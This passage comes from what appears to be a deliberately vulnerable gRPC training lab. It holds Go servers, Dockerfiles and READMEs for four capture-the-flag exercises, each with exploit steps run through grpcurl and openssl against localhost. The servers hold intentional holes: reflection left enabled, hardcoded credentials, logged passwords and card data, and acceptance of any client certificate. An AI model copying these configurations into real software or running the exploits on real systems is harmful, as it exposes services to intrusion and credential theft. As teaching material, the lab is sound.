22 | RUN go build -o service-discovery main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/service-discovery . 30 | 31 | EXPOSE 8001 32 | 33 | CMD ["./service-discovery"] -------------------------------------------------------------------------------- /labs/grpc-001-reflection-enabled/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 001: gRPC Reflection Enabled 2 | 3 | ## Vulnerability 4 | Service Discovery API with gRPC reflection enabled, exposing hidden admin methods. 5 | 6 | ## Objective 7 | Find and call the hidden admin method to capture the flag. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-001 . 13 | docker run -p 8001:8001 grpc-001 14 | ``` 15 | 16 | ## Exploit 17 | ```bash 18 | # Install grpcurl 19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 20 | 21 | # Discover services via reflection 22 | grpcurl -plaintext localhost:8001 list 23 | 24 | # Find hidden admin method 25 | grpcurl -plaintext localhost:8001 list servicediscovery.ServiceDiscovery 26 | 27 | # Call hidden admin endpoint 28 | grpcurl -plaintext -d '{"admin_token": "fake"}' \ 29 | localhost:8001 servicediscovery.ServiceDiscovery/AdminListAllServices 30 | ``` 31 | 32 | ## Impact 33 | Attackers can discover and access hidden admin services and internal endpoints. 34 | 35 | ## Flag 36 | Successfully call the hidden admin method to get: `GRPC_GOAT{reflection_exposes_hidden_admin_methods}` 37 | 38 | ## Mitigation 39 | 40 | Disable reflection in production. -------------------------------------------------------------------------------- /labs/grpc-001-reflection-enabled/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-001-reflection-enabled/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-001-reflection-enabled/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "net" 7 | 8 | "google.golang.org/grpc" 9 | "google.golang.org/grpc/peer" 10 | "google.golang.org/grpc/reflection" 11 | 12 | pb "grpc-goat/labs/grpc-001-reflection-enabled/server/proto" 13 | ) 14 | 15 | // unaryInterceptor logs client IP addresses for all requests 16 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 17 | // Extract client IP from context 18 | peer, ok := peer.FromContext(ctx) 19 | if ok { 20 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 21 | } 22 | 23 | // Call the actual handler 24 | return handler(ctx, req) 25 | } 26 | 27 | type serviceDiscoveryServer struct { 28 | pb.UnimplementedServiceDiscoveryServer 29 | } 30 | 31 | func newServiceDiscoveryServer() *serviceDiscoveryServer { 32 | return &serviceDiscoveryServer{} 33 | } 34 | 35 | func (s *serviceDiscoveryServer) ListServices(ctx context.Context, req *pb.ListServicesRequest) (*pb.ListServicesResponse, error) { 36 | 37 | services := []*pb.ServiceInfo{ 38 | {Name: "user-api", Endpoint: "user-api:8080", Type: "public"}, 39 | {Name: "payment-service", Endpoint: "payment:8081", Type: "public"}, 40 | } 41 | 42 | return &pb.ListServicesResponse{ 43 | Services: services, 44 | }, nil 45 | } 46 | 47 | func (s *serviceDiscoveryServer) AdminListAllServices(ctx context.Context, req *pb.AdminListAllServicesRequest) (*pb.AdminListAllServicesResponse, error) { 48 | publicServices := []*pb.ServiceInfo{ 49 | {Name: "user-api", Endpoint: "user-api:8080", Type: "public"}, 50 | {Name: "payment-service", Endpoint: "payment:8081", Type: "public"}, 51 | } 52 | 53 | adminServices := []*pb.ServiceInfo{ 54 | {Name: "admin-panel", Endpoint: "admin:9090", Type: "admin"}, 55 | {Name: "database-admin", Endpoint: "db-admin:9091", Type: "admin"}, 56 | {Name: "user-management", Endpoint: "user-mgmt:9092", Type: "admin"}, 57 | } 58 | 59 | return &pb.AdminListAllServicesResponse{ 60 | PublicServices: publicServices, 61 | AdminServices: adminServices, 62 | Flag: "GRPC_GOAT{reflection_exposes_hidden_admin_methods}", 63 | }, nil 64 | } 65 | 66 | func main() { 67 | lis, err := net.Listen("tcp", ":8001") 68 | if err != nil { 69 | log.Fatalf("Failed to listen: %v", err) 70 | } 71 | 72 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 73 | 74 | pb.RegisterServiceDiscoveryServer(s, newServiceDiscoveryServer()) 75 | 76 | reflection.Register(s) 77 | 78 | log.Println("gRPC server starting on port 8001...") 79 | if err := s.Serve(lis); err != nil { 80 | log.Fatalf("Failed to serve: %v", err) 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /labs/grpc-001-reflection-enabled/server/proto/service_discovery.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package servicediscovery; 4 | 5 | option go_package = "grpc-goat/labs/grpc-001-reflection-enabled/server/proto"; 6 | 7 | // ServiceDiscovery provides an internal API registry for developers 8 | service ServiceDiscovery { 9 | // ListServices returns public services only 10 | rpc ListServices(ListServicesRequest) returns (ListServicesResponse); 11 | 12 | // AdminListAllServices returns ALL services including hidden admin services 13 | // This should be a protected endpoint but is exposed via reflection 14 | rpc AdminListAllServices(AdminListAllServicesRequest) returns (AdminListAllServicesResponse); 15 | } 16 | 17 | message ListServicesRequest { 18 | // Empty - no parameters needed 19 | } 20 | 21 | message ListServicesResponse { 22 | repeated ServiceInfo services = 1; 23 | } 24 | 25 | message AdminListAllServicesRequest { 26 | string admin_token = 1; 27 | } 28 | 29 | message AdminListAllServicesResponse { 30 | repeated ServiceInfo public_services = 1; 31 | repeated ServiceInfo admin_services = 2; 32 | string flag = 3; // CTF flag for completing this challenge 33 | } 34 | 35 | message ServiceInfo { 36 | string name = 1; 37 | string endpoint = 2; 38 | string type = 3; 39 | } 40 | -------------------------------------------------------------------------------- /labs/grpc-002-plaintext-grpc/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/auth.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN go build -o auth-service main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/auth-service . 30 | 31 | EXPOSE 8002 32 | 33 | CMD ["./auth-service"] -------------------------------------------------------------------------------- /labs/grpc-002-plaintext-grpc/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 002: Plaintext gRPC 2 | 3 | ## Vulnerability 4 | Auth Service sending credentials over unencrypted gRPC connections. 5 | 6 | ## Objective 7 | Successfully login to capture the flag (credentials are visible in plaintext). 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-002 . 13 | docker run -p 8002:8002 grpc-002 14 | ``` 15 | 16 | ## Exploit 17 | ```bash 18 | # Install grpcurl 19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 20 | 21 | # Intercept plaintext login (credentials visible in network traffic) 22 | grpcurl -plaintext -d '{"username": "admin", "password": "admin123"}' \ 23 | localhost:8002 auth.AuthService/Login 24 | 25 | # Try other users 26 | grpcurl -plaintext -d '{"username": "user", "password": "password123"}' \ 27 | localhost:8002 auth.AuthService/Login 28 | 29 | grpcurl -plaintext -d '{"username": "developer", "password": "dev456"}' \ 30 | localhost:8002 auth.AuthService/Login 31 | ``` 32 | 33 | ## Impact 34 | Attackers can intercept and reuse credentials and session tokens sent over plaintext. 35 | 36 | ## Flag 37 | Successfully login to get: `GRPC_GOAT{plaintext_credentials_intercepted}` 38 | 39 | ## Mitigation 40 | Use TLS encryption for all gRPC communications. -------------------------------------------------------------------------------- /labs/grpc-002-plaintext-grpc/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-002-plaintext-grpc/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-002-plaintext-grpc/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "net" 7 | 8 | "google.golang.org/grpc" 9 | "google.golang.org/grpc/peer" 10 | 11 | pb "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto" 12 | ) 13 | 14 | // unaryInterceptor logs client IP addresses for all requests 15 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 16 | // Extract client IP from context 17 | peer, ok := peer.FromContext(ctx) 18 | if ok { 19 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 20 | } 21 | 22 | // Call the actual handler 23 | return handler(ctx, req) 24 | } 25 | 26 | type authServer struct { 27 | pb.UnimplementedAuthServiceServer 28 | } 29 | 30 | func newAuthServer() *authServer { 31 | return &authServer{} 32 | } 33 | 34 | func (s *authServer) Login(ctx context.Context, req *pb.LoginRequest) (*pb.LoginResponse, error) { 35 | log.Printf("Login attempt - Username: %s, Password: %s", req.Username, req.Password) 36 | 37 | // Simple hardcoded credentials check 38 | validCredentials := map[string]string{ 39 | "admin": "admin123", 40 | "user": "password123", 41 | "developer": "dev456", 42 | } 43 | 44 | if password, exists := validCredentials[req.Username]; exists && password == req.Password { 45 | return &pb.LoginResponse{ 46 | Success: true, 47 | Message: "Login successful", 48 | SessionToken: "session_" + req.Username + "_12345", 49 | Flag: "GRPC_GOAT{plaintext_credentials_intercepted}", 50 | }, nil 51 | } 52 | 53 | return &pb.LoginResponse{ 54 | Success: false, 55 | Message: "Invalid credentials pass username:admin and password:admin123 to login", 56 | }, nil 57 | } 58 | 59 | func main() { 60 | // Listen on port 8002 61 | lis, err := net.Listen("tcp", ":8002") 62 | if err != nil { 63 | log.Fatalf("Failed to listen: %v", err) 64 | } 65 | 66 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor)) 67 | 68 | // Register our service 69 | pb.RegisterAuthServiceServer(s, newAuthServer()) 70 | 71 | log.Println("Auth gRPC server starting on port 8002...") 72 | log.Println("WARNING: Server running in PLAINTEXT mode - all credentials are visible!") 73 | log.Println("Test users: admin/admin123, user/password123, developer/dev456") 74 | 75 | if err := s.Serve(lis); err != nil { 76 | log.Fatalf("Failed to serve: %v", err) 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /labs/grpc-002-plaintext-grpc/server/proto/auth.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package auth; 4 | 5 | option go_package = "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto"; 6 | 7 | // AuthService handles user authentication 8 | service AuthService { 9 | // Login authenticates a user and returns a session token 10 | rpc Login(LoginRequest) returns (LoginResponse); 11 | } 12 | 13 | message LoginRequest { 14 | string username = 1; 15 | string password = 2; 16 | } 17 | 18 | message LoginResponse { 19 | bool success = 1; 20 | string message = 2; 21 | string session_token = 3; 22 | string flag = 4; // CTF flag for completing this challenge 23 | } 24 | -------------------------------------------------------------------------------- /labs/grpc-003-insecure-tls/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/billing.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN go build -o billing-service main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/billing-service . 30 | 31 | EXPOSE 8003 32 | 33 | CMD ["./billing-service"] -------------------------------------------------------------------------------- /labs/grpc-003-insecure-tls/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 003: Insecure TLS 2 | 3 | ## Vulnerability 4 | Billing Service using self-signed certificates that can't be verified by clients. 5 | 6 | ## Objective 7 | Process a payment to capture the flag (despite TLS warnings). 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-003 . 13 | docker run -p 8003:8003 grpc-003 14 | ``` 15 | 16 | ## Exploit 17 | ```bash 18 | # Install grpcurl 19 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 20 | 21 | # Connect with insecure TLS (ignore certificate errors) 22 | grpcurl -insecure -d '{ 23 | "customer_id": "CUST001", 24 | "card_number": "4111111111111111", 25 | "expiry_date": "12/25", 26 | "cvv": "123", 27 | "amount": 99.99, 28 | "currency": "USD" 29 | }' localhost:8003 billing.BillingService/ProcessPayment 30 | 31 | # Alternative: Use openssl to see certificate details 32 | openssl s_client -connect localhost:8003 -servername localhost 33 | 34 | # The -insecure flag bypasses certificate validation 35 | # Self-signed cert means no trusted CA validation 36 | ``` 37 | 38 | ## Impact 39 | Self-signed certificates allow man-in-the-middle attacks since clients can't verify server identity. 40 | 41 | ## Flag 42 | Successfully process a payment to get: `GRPC_GOAT{insecure_tls_allows_mitm_attacks}` 43 | 44 | ## Mitigation 45 | Use proper CA-signed certificates and strong TLS configuration. -------------------------------------------------------------------------------- /labs/grpc-003-insecure-tls/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-003-insecure-tls/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-003-insecure-tls/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "crypto/x509/pkix" 10 | "encoding/pem" 11 | "log" 12 | "math/big" 13 | "net" 14 | "time" 15 | 16 | "google.golang.org/grpc" 17 | "google.golang.org/grpc/credentials" 18 | "google.golang.org/grpc/peer" 19 | 20 | pb "grpc-goat/labs/grpc-003-insecure-tls/server/proto" 21 | ) 22 | 23 | // unaryInterceptor logs client IP addresses for all requests 24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 25 | peer, ok := peer.FromContext(ctx) 26 | if ok { 27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 28 | } 29 | return handler(ctx, req) 30 | } 31 | 32 | type billingServer struct { 33 | pb.UnimplementedBillingServiceServer 34 | } 35 | 36 | func newBillingServer() *billingServer { 37 | return &billingServer{} 38 | } 39 | 40 | func (s *billingServer) ProcessPayment(ctx context.Context, req *pb.PaymentRequest) (*pb.PaymentResponse, error) { 41 | log.Printf("Payment processing - Customer: %s, Card: %s, CVV: %s, Amount: %.2f %s", 42 | req.CustomerId, req.CardNumber, req.Cvv, req.Amount, req.Currency) 43 | 44 | // Simple validation 45 | if len(req.CardNumber) < 13 || len(req.Cvv) != 3 { 46 | return &pb.PaymentResponse{ 47 | Success: false, 48 | Message: "Invalid card details", 49 | }, nil 50 | } 51 | 52 | // Generate transaction ID 53 | transactionID := "TXN_" + req.CustomerId + "_" + time.Now().Format("20060102150405") 54 | 55 | return &pb.PaymentResponse{ 56 | Success: true, 57 | Message: "Payment processed successfully", 58 | TransactionId: transactionID, 59 | Flag: "GRPC_GOAT{insecure_tls_allows_mitm_attacks}", 60 | }, nil 61 | } 62 | 63 | // generateSelfSignedCert creates a self-signed certificate 64 | func generateSelfSignedCert() (tls.Certificate, error) { 65 | // Generate private key 66 | priv, err := rsa.GenerateKey(rand.Reader, 2048) 67 | if err != nil { 68 | return tls.Certificate{}, err 69 | } 70 | 71 | // Create certificate template 72 | template := x509.Certificate{ 73 | SerialNumber: big.NewInt(1), 74 | Subject: pkix.Name{ 75 | Organization: []string{"Insecure Corp"}, 76 | Country: []string{"US"}, 77 | Province: []string{""}, 78 | Locality: []string{"San Francisco"}, 79 | StreetAddress: []string{""}, 80 | PostalCode: []string{""}, 81 | }, 82 | NotBefore: time.Now(), 83 | NotAfter: time.Now().Add(365 * 24 * time.Hour), // Valid for 1 year 84 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 85 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, 86 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, 87 | DNSNames: []string{"localhost", "insecure-billing.local"}, 88 | } 89 | 90 | // Create certificate 91 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) 92 | if err != nil { 93 | return tls.Certificate{}, err 94 | } 95 | 96 | // Encode certificate and key to PEM format 97 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) 98 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) 99 | 100 | // Create TLS certificate 101 | cert, err := tls.X509KeyPair(certPEM, keyPEM) 102 | if err != nil { 103 | return tls.Certificate{}, err 104 | } 105 | 106 | return cert, nil 107 | } 108 | 109 | func main() { 110 | lis, err := net.Listen("tcp", ":8003") 111 | if err != nil { 112 | log.Fatalf("Failed to listen: %v", err) 113 | } 114 | 115 | // VULNERABILITY: Generate self-signed certificate 116 | cert, err := generateSelfSignedCert() 117 | if err != nil { 118 | log.Fatalf("Failed to generate certificate: %v", err) 119 | } 120 | 121 | // VULNERABILITY: Create TLS config with insecure settings 122 | tlsConfig := &tls.Config{ 123 | Certificates: []tls.Certificate{cert}, 124 | // INSECURE: Self-signed certificate (no CA validation) 125 | // INSECURE: Allow any client to connect without proper verification 126 | ClientAuth: tls.NoClientCert, 127 | // INSECURE: Allow older TLS versions 128 | MinVersion: tls.VersionTLS12, 129 | MaxVersion: tls.VersionTLS13, 130 | } 131 | 132 | creds := credentials.NewTLS(tlsConfig) 133 | s := grpc.NewServer( 134 | grpc.Creds(creds), 135 | grpc.UnaryInterceptor(unaryInterceptor), 136 | ) 137 | 138 | pb.RegisterBillingServiceServer(s, newBillingServer()) 139 | 140 | log.Println("Billing gRPC server starting on port 8003...") 141 | log.Println("WARNING: Using self-signed certificate and weak TLS configuration!") 142 | log.Println("Test payment: customer_id=CUST001, card_number=4111111111111111, cvv=123") 143 | 144 | if err := s.Serve(lis); err != nil { 145 | log.Fatalf("Failed to serve: %v", err) 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /labs/grpc-003-insecure-tls/server/proto/billing.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package billing; 4 | 5 | option go_package = "grpc-goat/labs/grpc-003-insecure-tls/server/proto"; 6 | 7 | // BillingService processes customer payments 8 | service BillingService { 9 | // ProcessPayment processes a customer payment 10 | rpc ProcessPayment(PaymentRequest) returns (PaymentResponse); 11 | } 12 | 13 | message PaymentRequest { 14 | string customer_id = 1; 15 | string card_number = 2; 16 | string expiry_date = 3; 17 | string cvv = 4; 18 | double amount = 5; 19 | string currency = 6; 20 | } 21 | 22 | message PaymentResponse { 23 | bool success = 1; 24 | string message = 2; 25 | string transaction_id = 3; 26 | string flag = 4; // CTF flag for completing this challenge 27 | } 28 | -------------------------------------------------------------------------------- /labs/grpc-004-arbitary-mtls/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23-alpine AS builder 2 | 3 | # Set Go environment 4 | ENV GOTOOLCHAIN=go1.23.4 5 | 6 | # Install protoc and plugins 7 | RUN apk add --no-cache protobuf-dev 8 | RUN go version 9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0 10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0 11 | 12 | WORKDIR /app 13 | COPY server/ . 14 | 15 | # Generate protobuf code 16 | RUN protoc --go_out=. --go_opt=paths=source_relative \ 17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \ 18 | proto/partner.proto 19 | 20 | # Build the application 21 | RUN go mod tidy 22 | RUN go build -o partner-api main.go 23 | 24 | # Final stage 25 | FROM alpine:latest 26 | RUN apk --no-cache add ca-certificates openssl 27 | WORKDIR /root/ 28 | 29 | COPY --from=builder /app/partner-api . 30 | 31 | EXPOSE 8004 32 | 33 | CMD ["./partner-api"] -------------------------------------------------------------------------------- /labs/grpc-004-arbitary-mtls/Readme.md: -------------------------------------------------------------------------------- 1 | # Lab 004: Arbitrary mTLS 2 | 3 | ## Vulnerability 4 | Partner API accepts any client certificate, allowing attackers to impersonate trusted partners. 5 | 6 | ## Objective 7 | Generate a fake client certificate and access partner data to capture the flag. 8 | 9 | ## Run the Lab 10 | ```bash 11 | # Build and run 12 | docker build -t grpc-004 . 13 | docker run -p 8004:8004 grpc-004 14 | ``` 15 | 16 | ## Exploit 17 | 18 | ### Step 1: Generate a fake client certificate 19 | ```bash 20 | # Generate client private key 21 | openssl genrsa -out client.key 2048 22 | 23 | # Generate client certificate signing request 24 | openssl req -new -key client.key -out client.csr -subj "/CN=FakePartner/O=AttackerCorp" 25 | 26 | # Generate self-signed client certificate 27 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365 28 | ``` 29 | 30 | ### Step 2: Use the fake certificate to access partner data 31 | ```bash 32 | # Install grpcurl 33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest 34 | 35 | # Connect using the fake client certificate 36 | grpcurl -proto partner.proto -insecure -cert client.crt - 37 | key client.key -d '{ 38 | "partner_id": "FAKE_PARTNER", 39 | "data_type": "all" 40 | }' localhost:8004 partner.PartnerAPI/GetPartnerData 41 | ``` 42 | 43 | ## Impact 44 | Attackers can impersonate any partner and access sensitive API keys and secrets. 45 | 46 | ## Flag 47 | Successfully access partner data to get: `GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}` 48 | 49 | ## Mitigation 50 | Implement proper certificate validation with a trusted CA and certificate pinning. -------------------------------------------------------------------------------- /labs/grpc-004-arbitary-mtls/server/go.mod: -------------------------------------------------------------------------------- 1 | module grpc-goat/labs/grpc-004-arbitary-mtls/server 2 | 3 | go 1.23 4 | 5 | require ( 6 | google.golang.org/grpc v1.58.3 7 | google.golang.org/protobuf v1.31.0 8 | ) 9 | 10 | require ( 11 | github.com/golang/protobuf v1.5.3 // indirect 12 | golang.org/x/net v0.12.0 // indirect 13 | golang.org/x/sys v0.10.0 // indirect 14 | golang.org/x/text v0.11.0 // indirect 15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /labs/grpc-004-arbitary-mtls/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/tls" 8 | "crypto/x509" 9 | "crypto/x509/pkix" 10 | "encoding/pem" 11 | "log" 12 | "math/big" 13 | "net" 14 | "time" 15 | 16 | "google.golang.org/grpc" 17 | "google.golang.org/grpc/credentials" 18 | "google.golang.org/grpc/peer" 19 | 20 | pb "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto" 21 | ) 22 | 23 | // unaryInterceptor logs client IP addresses and certificate info 24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { 25 | peer, ok := peer.FromContext(ctx) 26 | if ok { 27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod) 28 | 29 | // Log client certificate info if available 30 | if tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo); ok { 31 | if len(tlsInfo.State.PeerCertificates) > 0 { 32 | cert := tlsInfo.State.PeerCertificates[0] 33 | log.Printf("Client cert: Subject=%s, Issuer=%s", cert.Subject, cert.Issuer) 34 | } 35 | } 36 | } 37 | return handler(ctx, req) 38 | } 39 | 40 | type partnerServer struct { 41 | pb.UnimplementedPartnerAPIServer 42 | } 43 | 44 | func newPartnerServer() *partnerServer { 45 | return &partnerServer{} 46 | } 47 | 48 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) { 49 | log.Printf("Partner data request - Partner: %s, Type: %s", req.PartnerId, req.DataType) 50 | 51 | // Return sensitive partner information (this should be restricted!) 52 | partners := []*pb.PartnerInfo{ 53 | { 54 | PartnerId: "PARTNER_001", 55 | Name: "TechCorp Solutions", 56 | ApiKey: "tc_live_sk_1234567890abcdef", 57 | Secret: "tc_secret_xyz789", 58 | Permissions: []string{"read", "write", "admin"}, 59 | }, 60 | { 61 | PartnerId: "PARTNER_002", 62 | Name: "DataFlow Inc", 63 | ApiKey: "df_live_pk_fedcba0987654321", 64 | Secret: "df_secret_abc123", 65 | Permissions: []string{"read", "analytics"}, 66 | }, 67 | { 68 | PartnerId: "PARTNER_003", 69 | Name: "SecureBank API", 70 | ApiKey: "sb_live_key_999888777666", 71 | Secret: "sb_secret_banking_2024", 72 | Permissions: []string{"financial", "transactions", "admin"}, 73 | }, 74 | } 75 | 76 | return &pb.PartnerDataResponse{ 77 | Success: true, 78 | Message: "Partner data retrieved successfully", 79 | Partners: partners, 80 | Flag: "GRPC_GOAT{arbitrary_mtls_bypasses_partner_auth}", 81 | }, nil 82 | } 83 | 84 | // generateSelfSignedCert creates a self-signed certificate 85 | func generateSelfSignedCert() (tls.Certificate, error) { 86 | priv, err := rsa.GenerateKey(rand.Reader, 2048) 87 | if err != nil { 88 | return tls.Certificate{}, err 89 | } 90 | 91 | template := x509.Certificate{ 92 | SerialNumber: big.NewInt(1), 93 | Subject: pkix.Name{ 94 | Organization: []string{"Partner API Corp"}, 95 | Country: []string{"US"}, 96 | Province: []string{""}, 97 | Locality: []string{"San Francisco"}, 98 | StreetAddress: []string{""}, 99 | PostalCode: []string{""}, 100 | }, 101 | NotBefore: time.Now(), 102 | NotAfter: time.Now().Add(365 * 24 * time.Hour), 103 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 104 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, 105 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)}, 106 | DNSNames: []string{"localhost", "partner-api.local"}, 107 | } 108 | 109 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) 110 | if err != nil { 111 | return tls.Certificate{}, err 112 | } 113 | 114 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) 115 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)}) 116 | 117 | cert, err := tls.X509KeyPair(certPEM, keyPEM) 118 | if err != nil { 119 | return tls.Certificate{}, err 120 | } 121 | 122 | return cert, nil 123 | } 124 | 125 | func main() { 126 | lis, err := net.Listen("tcp", ":8004") 127 | if err != nil { 128 | log.Fatalf("Failed to listen: %v", err) 129 | } 130 | 131 | // Generate server certificate 132 | cert, err := generateSelfSignedCert() 133 | if err != nil { 134 | log.Fatalf("Failed to generate certificate: %v", err) 135 | } 136 | 137 | // VULNERABILITY: mTLS configuration that accepts ANY client certificate 138 | tlsConfig := &tls.Config{ 139 | Certificates: []tls.Certificate{cert}, 140 | // INSECURE: Require client certificates but don't verify them properly 141 | ClientAuth: tls.RequireAnyClientCert, 142 | // INSECURE: No client certificate verification 143 | InsecureSkipVerify: false, 144 | // INSECURE: Accept any client certificate without validation 145 | } 146 | 147 | creds := credentials.NewTLS(tlsConfig) 148 | s := grpc.NewServer( 149 | grpc.Creds(creds), 150 | grpc.UnaryInterceptor(unaryInterceptor), 151 | ) 152 | 153 | pb.RegisterPartnerAPIServer(s, newPartnerServer()) 154 | 155 | log.Println("Partner API gRPC server starting on port 8004...") 156 | log.Println("WARNING: mTLS accepts ANY client certificate - 